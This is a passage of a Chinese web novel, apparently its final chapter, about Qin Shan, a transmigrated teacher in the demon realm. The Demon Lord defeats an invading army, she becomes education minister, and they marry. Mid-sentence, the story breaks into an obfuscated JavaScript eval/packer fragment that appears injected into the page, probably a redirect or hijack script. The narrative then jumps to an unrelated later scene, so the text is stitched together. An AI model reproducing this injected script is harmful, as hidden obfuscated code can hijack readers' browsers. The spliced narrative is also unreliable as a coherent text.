苍月也走过来,拉着她的手,说:“师父,你别难过。秦瑶阿姨去了更好的地方。” 秦珊看着她,勉强笑了笑。 魔尊站在不远处,看着这边。等他们都走了,他才走过来。 他说:“你以后打算怎么办?” 秦珊说:“继续教书。” 魔尊点点头。 秦珊看着他,说:“魔尊,我想问你一个问题。” 魔尊说:“问。” 秦珊说:“您活了那么久,见过很多生死。您是怎么熬过来的?” 魔尊沉默了一会儿,然后说:“习惯了。” 秦珊说:“习惯了?就这样?” 魔尊说:“就这样。活着的人,总要继续活着。” 秦珊看着他,忽然觉得他说的对。 她擦干眼泪,站起来,说:“谢谢您。” 魔尊点点头,转身离开。 秦珊看着他的背影,心里忽然涌起一股奇怪的感觉。 这个男人,外表那么冷,心里其实也有温度。 她转身,最后看了一眼墓碑,然后大步离开。 活着的人,总要继续活着。 11. 第11章大结局 三年后。 秦珊站在院子里,看着眼前的一切,心里有种说不出的平静。 院子还是那个院子,石桌石凳都在,角落里那棵老树又粗了一圈。小光趴在树杈上晒太阳,身体已经有脸盆那么大,翅膀收起来的时候像一团软软的发光云朵。它感应到秦珊的目光,睁开眼,闪了闪,又继续睡。 屋里传来阿九和苍爵下棋的声音。阿九的预知能力用在棋盘上简直是作弊,但苍爵有互联网天赋,能随时调用以前的所有棋谱。两人下得难解难分,经常一坐就是一整天。 苍烈他们七个今天不在,去军营了。苍澜军现在已经扩编到五万人,苍烈是统领,苍擎是副统领,苍羽管情报,苍云管侦察,苍□□火炮,苍风管弓弩,苍月管医疗。七兄妹配合默契,把苍澜军练成了魔界第一精锐。 秦珊转身回屋,坐到桌前,开始写今天的教案。 三年过去,她的生活已经完全稳定下来。魔尊的改革推进得很快,九大魔君的领地重新划分,正规军统一训练,学堂遍地开花。她教的那套东西被编成教材,发到每一个学堂里。现在魔界的年轻一代,提起下棋兵法心理学,比提起打架还兴奋。 魔尊每隔几天就来听课。他还是那副样子,冷冷淡淡的,坐在角落里一言不发。但他的眼神变了,以前是疲惫和迷茫,现在是平静和……秦珊说不上来,反正就是不一样了。 有一次上完课,他忽然问她:“你说,我要是也去当个老师,怎么样?” 秦珊愣住了,然后说:“您?当老师?” 魔尊说:“不行吗?” 秦珊想了想,说:“也不是不行。但您这气势,往那一站,学生哪还敢听课?” 魔尊的嘴角微微上扬,那是他这几年来养成的习惯,笑得很淡,但确实是笑。他说:“那我学着收敛一点。” 秦珊说:“您要是真想当老师,我可以教您怎么教。” 魔尊说:“好。” 从那以后,他每次来听课都带着一个小本子,记笔记。秦珊有时候偷看,发现他记得很认真,偶尔还会在旁边标注自己的理解。 苍烈他们刚开始还紧张,后来就习惯了。苍羽甚至敢在课上跟魔尊争论兵法,苍雷敢跟他请教雷电的运用,苍月敢把自己做的点心端给他尝。魔尊都接了,争论就争论,请教就请教,点心也吃了,吃完还说了一句“不错”。 秦珊有时候觉得,魔尊不是来听课的,是来体验生活的。他活了那么久,从来没感受过这种平平淡淡的日常,现在补上了。 这天下午,秦珊正在上课,阿九忽然脸色一变。 “师父,我看见画面了。” 秦珊心里一紧。阿九这几年很少这样突然变脸,因为他的预知越来越精准,能提前好几天看见,不会临时才预警。 她问:“什么画面?” 阿九说:“很多人,从那边过来。穿着白衣服,比上次还多。” 秦珊站起来,走到窗边。 东边的天空很平静,看不出什么异常。但她相信阿九不会看错。 魔尊也在教室里,他今天正好来听课。他站起来,走到秦珊身边,说:“我感应到了。确实有人来。” 秦珊问:“多少人?” 魔尊闭上眼睛感应了一下,说:“至少十万。化神期二十个以上。” 秦珊倒吸一口凉气。 十万大军,二十个化神期。这比三年前那场仗规模还大。 她问:“他们想干什么?” 魔尊说:“还是那些事。杀我,毁魔界。” 秦珊说:“他们不怕您了?” 魔尊说:“怕。但他们更怕另一件事。” 秦珊问:“什么事?” 魔尊说:“魔界变强。他们知道,再等几年,魔界就不是他们能欺负的了。所以现在,拼死一搏。” 秦珊沉默了。 魔尊说:“你去通知苍澜君,让他集结军队。我去召集其他魔君。” 秦珊点点头,转身就走。 走到门口,她回头看了魔尊一眼。魔尊也看着她,眼神很平静。 他说:“放心。不会有事。” 三天后,魔界东域的边界,两军对峙。 魔界这边,九大魔君的军队全部到齐,加上魔宫直属的正规军,一共十五万。苍澜军在最前面,苍烈骑着一条黑色巨龙,威风凛凛。 修真界那边,十万大军排成整齐的方阵,二十个化神期悬浮在空中,周身环绕着各色光芒。最前面的是一个白发老者,秦珊认出他就是三年前那个逃跑的。 老者看着魔界大军,冷笑一声:“魔尊,今天就是你的死期。” 魔尊站在阵前,一身黑衣,面无表情。他说:“你上次也是这么说的。” 老者的脸色变了变,但很快恢复镇定。他说:“上次是我大意。这次不一样。” 他挥了挥手,身后的大军开始布阵。一道道光芒从他们身上升起,在空中交织成一个巨大的光罩,比三年前那个还要大,还要亮。 秦珊认出来了,又是上古阵法,但比上次复杂得多。 魔尊看着那个光罩,眉头微微皱起。他说:“有点意思。” 老者哈哈大笑:“魔尊,这阵法我们准备了三年,专门针对你的魔气!今天你插翅难飞!” 魔尊没理他,回头看了秦珊一眼,说:“你带人守住后方。前面我来。” 秦珊说:“我跟你一起。” 魔尊说:“不用。你帮我看着那些小的,别让他们乱冲。” 秦珊看了看苍烈他们。那些孩子一个个眼睛发亮,跃跃欲试。她知道魔尊说得对,如果不看着点,他们真的会冲上去送死。 她点点头,说:“好。” 魔尊转回身,向前走去。 他走得很慢,一步一步,像是在散步。但每一步落下,地面都微微震动。他身上的气势越来越强,最后冲天而起,形成一道巨大的黑色光柱。 修真界的修士们脸色变了。那老者大喊:“稳住!阵法!” 光罩剧烈闪烁,但还是稳住了。 魔尊走到光罩前,停下脚步。他伸出手,按在光罩上。 光罩剧烈颤抖,发出刺耳的嘶鸣声。那些维持阵法的修士们拼命运转魔力,脸色发白。 魔尊的手没有收回来,就那么按着。他说:“你们准备三年,就这?” 老者脸色铁青,大喊:“加人!全部加上!” 更多的修士加入阵法,光罩重新稳定下来。 魔尊收回手,退后一步。 老者以为他退缩了,哈哈大笑:“魔尊,你也有今天!” 魔尊没理他,回头看了秦珊一眼,说:“让他们退后十里。” 秦珊一愣,然后立刻下令:“全军后退十里!” 苍烈他们虽然不解,但还是服从命令。十五万大军迅速后撤。 等他们撤远了,魔尊转回身,面向那个光罩。 他的身形开始变化,越来越大,最后化作一条巨大的黑龙。那黑龙比三年前还要大,还要威武,鳞片在阳光下闪着幽幽的黑光。 黑龙仰天长啸,声震四野。 然后它冲向光罩。 轰的一声巨响,天摇地动。光罩炸裂开来,无数碎片向四周飞溅。那些维持阵法的修士们被震飞出去,有的当场毙命,有的口吐鲜血。 那老者也被震退几十丈,脸色惨白。他大喊:“不可能!这不可能!” 黑龙没给他喘息的机会,继续冲向他。老者拼命逃跑,但黑龙的速度更快,一爪拍下,把他拍成一团血雾。 剩下的十九个化神期四散奔逃,但黑龙不给他们机会。它追上一个,杀一个;追上两个,杀一双。不到一炷香的时间,十九个化神期死了十五个,剩下四个跑得快,逃进了后面的修士大军里。 黑龙停下来,悬浮在空中,俯视着那十万大军。 没有人动。没有人敢动。 黑龙化成人形,魔尊落回地面,身上不沾半点血迹。他看着那四散奔逃的修士大军,淡淡地说:“还要打吗?” 十万大军,落荒而逃。 战斗结束得比预想的快。 秦珊带着苍烈他们回到战场的时候,只看见满地的狼藉和那些没来得及逃走的修士尸体。魔尊站在一块大石头上,看着东边的方向,一动不动。 苍烈他们面面相觑,不知道该说什么。苍羽小声说:“师父,魔尊这也太猛了吧?一个人打二十个化神期,还打赢了?” 秦珊说:“不是打赢了,是碾压。” 苍烈说:“师父,魔尊到底是什么境界?” 秦珊说:“不知道。可能他自己也不知道。” 她走过去,站在魔尊身边。魔尊看了她一眼,说:“清泉道人死了,但修真界不会善罢甘休。” 秦珊说:“我知道。” 魔尊说:“以后还会有更多的人来。” 秦珊说:“我知道。” 魔尊说:“怕吗?” 秦珊想了想,说:“不怕。有你,有他们,怕什么。” 魔尊的嘴角微微上扬。 他们站在那里,看着东边的天空,很久很久。 回到沧澜城,已经是三天后。 秦珊刚进家门,就看见苍爵他们都在。苍烈七兄妹也在,挤了满满一屋子。看见她回来,都围上来问东问西。 秦珊把事情说了一遍,说到魔尊一个人打二十个化神期的时候,苍烈他们眼睛都直了。苍羽说:“师父,魔尊收徒弟吗?我想拜他为师。” 秦珊说:“你想拜他为师?你确定?” 苍羽想了想,打了个哆嗦:“还是算了。我怕被他吓死。” 众人笑起来。 阿九挤到秦珊身边,拉着她的衣角,小声说:“师父,我看见画面了。” 秦珊蹲下来,看着他:“什么画面?” 阿九说:“我看见你站在很多人前面,在说话。那些人都很认真地在听。魔尊也在,坐在第一排。” 秦珊愣了一下,然后笑了。 她说:“那是以后的事。现在,先管好眼前。” 她站起来,看着屋里这些学生,心里涌起一股暖流。 八年了。从她穿进这本书开始,整整八年。 八年前,她还是个手无缚鸡之力的大学生,被师父派来当奸细,随时可能死。八年后,她有了自己的学生,有了自己的事业,有了自己的家。 姐姐不在了,但姐姐临死前说的话,她一直记着:好好活着。 她会的。 日子一天天过去。 魔界恢复了平静,但平静底下,变化在悄悄发生。 学堂越来越多,读书识字的魔族越来越多。下棋、兵法、心理学这些东西,不再是秦珊一个人的专利,开始普及到整个魔界。 苍烈他们七个越来越忙,经常一个月见不到人。但每次回来,都会给秦珊带礼物。苍烈带的是战场上缴获的法宝,苍羽带的是各地搜集的奇闻异事,苍月带的是自己做的点心。 苍爵的互联网天赋已经覆盖整个魔界,现在他是魔宫的信息大臣,每天处理各地传来的消息。阿九的预知天赋也越来越强,能提前一个月预见重大事件。魔尊把他调去魔宫,专门负责预警。 小光彻底长大了,现在能化成人形。那是一个看起来七八岁的小女孩,一头银发,眼睛亮亮的,喜欢黏着秦珊叫妈妈。秦珊刚开始不习惯,后来也认了。反正这个世界什么事都可能发生,多一个女儿也没什么。 魔尊还是隔几天就来听课。他的笔记越记越厚,偶尔也会上台讲两句。他讲的是战斗经验,那些几千年来积累下来的东西,比任何兵法都珍贵。秦珊让他把这些整理成书,他说好,但一直没动笔。秦珊催了几次,他说:“你来写,我口述。” 秦珊说:“那我不是成了你的秘书?” 魔尊说:“怎么?不愿意?” 秦珊想了想,说:“行吧。反正闲着也是闲着。” 于是他们开始合作写书。魔尊口述,秦珊记录整理,偶尔加一点自己的理解。书名叫《魔尊兵法》,写完之后直接发到每个学堂,成了魔界的必修课。 这天,秦珊正在屋里写教案,忽然有人敲门。 她打开门,外面站着一个男人。 那人穿着一身黑衣,长发披散,面容英俊,眉眼间带着一丝淡淡的疲惫。是魔尊。 秦珊说:“今天不是上课的日子吧?” 魔尊说:“不是。我来找你,有别的事。” 秦珊让开身,让他进来。魔尊在屋里坐下,看着墙上贴的那些教案和笔记,沉默了一会儿,然后说:“我想请你帮个忙。” 秦珊说:“什么忙?” 魔尊说:“我想请你当魔界的教育大臣。” 秦珊愣住了。 魔尊说:“你教的那套东西,现在已经在魔界推广开了。但推广归推广,没有统一的管理,各个学堂的水平参差不齐。我需要一个人,来管这些事。” 秦珊说:“你让我管整个魔界的教育?” 魔尊说:“对。” 秦珊沉默了一会儿,说:“为什么是我?” 魔尊看着她,说:“因为只有你懂这些。也只有你,能让那些老师服气。” 秦珊想了想,说:“我考虑一下。” 魔尊点点头,站起来,走到门口。他回头看了她一眼,说:“考虑好了告诉我。” 秦珊说:“好。” 魔尊走了。 秦珊坐在椅子上,想了很久。 教育大臣。整个魔界的教育都归她管。这是多大的责任? 她想起八年前,自己刚穿过来的时候,连一个学生都没有。现在,她要管整个魔界的教育了。 她笑了笑,站起来,走到院子里。 小光正在树杈上晒太阳,看见她出来,化成人形跑过来,拉着她的手:“妈妈,妈妈,刚才那个叔叔是谁?” 秦珊说:“那是魔尊。” 小光说:“魔尊?就是那个很厉害很厉害的?” 秦珊说:“对。” 小光说:“他来干什么?” 秦珊说:“他来请妈妈去管魔界的教育。” 小光眨眨眼:“那是好事还是坏事?” 秦珊想了想,说:“好事吧。” 她摸摸小光的头,说:“走,进屋,妈妈给你做好吃的。” 小光高兴地跳起来,拉着她往屋里跑。 三天后,秦珊给了魔尊答复。 她说:“我干。” 魔尊点点头,说:“好。明天开始,你就是魔界教育大臣。” 秦珊说:“有什么要求吗?” 魔尊说:“没有。你想怎么干就怎么干。” 秦珊说:“那我可就不客气了。” 魔尊的嘴角微微上扬。 秦珊看着他,忽然问:“魔尊,你以后打算干什么?” 魔尊说:“什么干什么?” 秦珊说:“就是……魔界已经稳定了,教育有人管了,军队有人练了。你自己呢?想干什么?” 魔尊沉默了一会儿,然后说:“不知道。” 秦珊说:“你以前说想去我那个世界看看,还想去吗?” 魔尊摇摇头:“去不了。也不想去了。” 秦珊说:“为什么?” 魔尊看着她,说:“因为这里已经有我想看的东西了。” 秦珊愣了一下。 魔尊转身,走了。 秦珊站在原地,看着他远去的背影,心里忽然有点乱。 接下来的日子,秦珊忙得脚不沾地。 教育大臣不是那么好当的。整个魔界有几百所学堂,几千个老师,十几万学生。每个学堂的情况都不一样,每个老师都有自己的想法。她得一个个跑,一个个谈,把标准统一起来,把教材发下去,把教学质量提上去。 苍烈他们七个被她抓来当壮丁,轮流陪她出差。苍爵和阿九也被征用了,一个负责信息沟通,一个负责预知风险。小光黏着她,走哪跟哪,说是要保护妈妈。 魔尊有时候也会来,说是视察,其实就是找个借口跟着。他不说话,就站在旁边看。秦珊习惯了,也不管他。 一年下来,魔界的教育系统终于走上正轨。学生们能学到统一的知识,老师们有统一的教材,考试有统一的标准。虽然还有很多问题要解决,但至少框架搭起来了。 秦珊站在魔宫的最高处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦珊站在讲台上,看见他进来,心跳又快了。她深吸一口气,强迫自己冷静,开始讲课。 一节课下来,她讲得磕磕巴巴,好几次忘词。苍烈他们面面相觑,不知道师父今天怎么了。魔尊坐在角落里,看着她,眼神若有所思。 下课之后,学生们都走了。秦珊收拾东西,准备离开。 魔尊走过来,站在她面前。 他说:“你今天不对劲。” 秦珊说:“没……没有。” 魔尊说:“有。你脸红了三次,说错五句话,忘词四次。” 秦珊:“……” 魔尊看着她,说:“苍澜君昨天去找你了?” 秦珊点点头。 魔尊说:“他跟你说什么了?” 秦珊说:“没说什么。” 魔尊沉默了一会儿,然后说:“他说了什么,我都知道。” 秦珊抬起头,看着他。 魔尊说:“他问我是不是喜欢你。我说是。” 秦珊的心跳停了。 魔尊继续说:“他问我敢不敢告诉你。我说敢。所以我现在告诉你。” 他看着秦珊,眼神很平静,但秦珊从里面看出了一丝紧张。 他说:“我喜欢你。不是因为你教了我东西,不是因为你帮我改革魔界,是因为你是你。你在这里,我就想来看你。你不在,我就想去找你。” 秦珊张了张嘴,说不出话。 魔尊说:“你不用现在回答。我可以等。” 他转身,准备离开。 秦珊忽然开口:“等一下。” 魔尊停下脚步。 秦珊走到他面前,看着他的眼睛。 她说:“我也喜欢你。” 魔尊的眼神变了,变得柔和。 秦珊说:“我不知道从什么时候开始的。可能是你帮我解除禁制的时候,可能是你陪我去断魂谷的时候,可能是你坐在角落里听课的时候。反正就是……喜欢了。” 魔尊看着她,嘴角微微上扬。 那是秦珊见过的最温柔的笑容。 他伸出手,轻轻把她拉进怀里。 秦珊靠在他胸口,听着他的心跳,感觉整个世界都安静了。 小光从她怀里钻出来,看见这一幕,眨眨眼,然后自觉地缩回去,假装什么都没看见。 三个月后,魔宫举行了盛大的婚礼。 九大魔君全部到场,苍澜君是主婚人,苍烈他们七个是伴郎伴娘。苍爵和阿九负责现场的信息传递和预知风险,确保婚礼顺利进行。小光穿着漂亮的小裙子,捧着花篮,在前面撒花。 秦珊穿着一身红色的嫁衣,站在魔尊身边,看着下面黑压压的人群,心里有些紧张。 魔尊握紧她的手,低声说:“别怕。” 秦珊点点头。 婚礼进行得很顺利。没有意外,没有捣乱,所有人都真心祝福他们。 礼成之后,魔尊看着她,说:“从现在开始,你就是魔后了。” 秦珊说:“魔后?听起来好老。” 魔尊的嘴角抽了抽。 秦珊笑了,靠在他肩膀上,说:“逗你的。魔后就魔后吧,反正有你在。” 魔尊揽着她的腰,看着下面的欢呼的人群,说:“以后,我们一起守这片江山。” 秦珊说:“好。” 很多年后。 魔界的教育系统已经非常完善,从小学到大学,从基础到专业,应有尽有。秦珊当年教的那套东西,被一代代传承下去,成了魔界的立国之本。 苍烈成了魔界兵马大元帅,统领所有军队。他的七个弟弟妹妹都在军中担任要职,七兄妹联手,让魔界军队成了天下无敌的存在。 苍爵的信息网络覆盖了整个魔界,甚至延伸到修真界。他建起了魔界第一个信息中心,每天处理海量数据,为魔界的发展提供决策支持。 阿九的预知能力已经出神入化,能提前一年预见重大事件。他成了魔尊和秦珊最重要的参谋,无数次帮他们避开危机。 小光长大了,成了一个漂亮的少女。她继承了秦珊的炼器天赋和魔尊的战斗力,是魔界年轻一代最耀眼的天才。 魔尊和秦珊生了三个孩子,两男一女。老大像魔尊,性格沉稳,从小就想当将军;老二像秦珊,聪明活泼,喜欢读书炼器;老三是女儿,像两个人,又都不像,古灵精怪,最受宠。 秦珊有时候会想起姐姐秦瑶。如果她还活着,看到这一切,该多好。 但她知道,姐姐一直在看着她。在魔宫的墓碑前,在每一次她战胜困难的时候,在她幸福微笑的时候。 好好活着。她做到了。 这天傍晚,秦珊和魔尊站在魔宫的最高处,看着脚下的云海。 夕阳西下,云海被染成金色和红色,美得让人心醉。 秦珊靠在魔尊肩膀上,说:“老公,你说这个世界,到底是真的还是假的?” 魔尊说:“什么意思?” 秦珊说:“就是我穿书这件事。这个世界,到底是书里的世界,还是真实的世界?” 魔尊想了想,说:“重要吗?” 秦珊愣了一下。 魔尊说:“不管它是什么世界,你现在在这里,我在这里,孩子们在这里。这就是真的。” 秦珊看着他,笑了。 他说得对。 真假不重要。重要的是,她在这里,有了家,有了爱,有了一切。 她踮起脚,在他脸上亲了一下。 魔尊低头看着她,眼神温柔。 他说:“谢谢你,来到这个世界。” 秦珊说:“谢谢你,让我留下来。” 夕阳下,两个人紧紧相拥。 远处,传来孩子们的欢笑声。 小光跑过来,大喊:“妈妈,爸爸,吃饭啦!” 秦珊和魔尊对视一眼,笑了。 他们牵着手,走下高台,向家的方向走去。